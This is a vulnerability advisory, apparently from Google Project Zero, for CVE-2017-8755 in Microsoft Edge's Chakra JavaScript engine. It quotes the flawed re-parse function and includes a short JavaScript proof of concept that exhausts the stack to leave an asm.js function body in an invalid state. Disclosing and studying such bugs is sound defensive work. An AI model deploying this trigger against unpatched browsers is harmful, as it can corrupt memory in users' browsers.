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Microsoft Edge Chakra JavascriptFunction::ReparseAsmJsModule Parsing Issue

Posted on 24 September 2017

Microsoft Edge: Chakra: JavascriptFunction::ReparseAsmJsModule incorrectly re-parses

CVE-2017-8755

This is similar to the <a href="/p/project-zero/issues/detail?id=1271" title="Microsoft Edge: Chakra: InterpreterStackFrame::ProcessLinkFailedAsmJsModule incorrectly re-parses" class="closed_ref" rel="nofollow"> issue 1271 </a>.

Here's the method used to re-parse asmjs modules.
void JavascriptFunction::ReparseAsmJsModule(ScriptFunction** functionRef)
{
ParseableFunctionInfo* functionInfo = (*functionRef)->GetParseableFunctionInfo();
Assert(functionInfo);
functionInfo->GetFunctionBody()->AddDeferParseAttribute();
functionInfo->GetFunctionBody()->ResetEntryPoint();
functionInfo->GetFunctionBody()->ResetInParams();

FunctionBody * funcBody = functionInfo->Parse(functionRef);

#if ENABLE_PROFILE_INFO
// This is the first call to the function, ensure dynamic profile info
funcBody->EnsureDynamicProfileInfo();
#endif

(*functionRef)->UpdateUndeferredBody(funcBody);
}

First, it resets the function body and then re-parses it. But it doesn't consider that "functionInfo->Parse(functionRef);" may throw an exception. So in the case, the function body remains reseted(invalid).

We can make it throw an exception simply by exhausting the stack.

PoC:
function Module() {
'use asm';

function f() {
}

return f;
}

function recur() {
try {
recur();
} catch (e) {
Module(1);
}
}

recur();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

 

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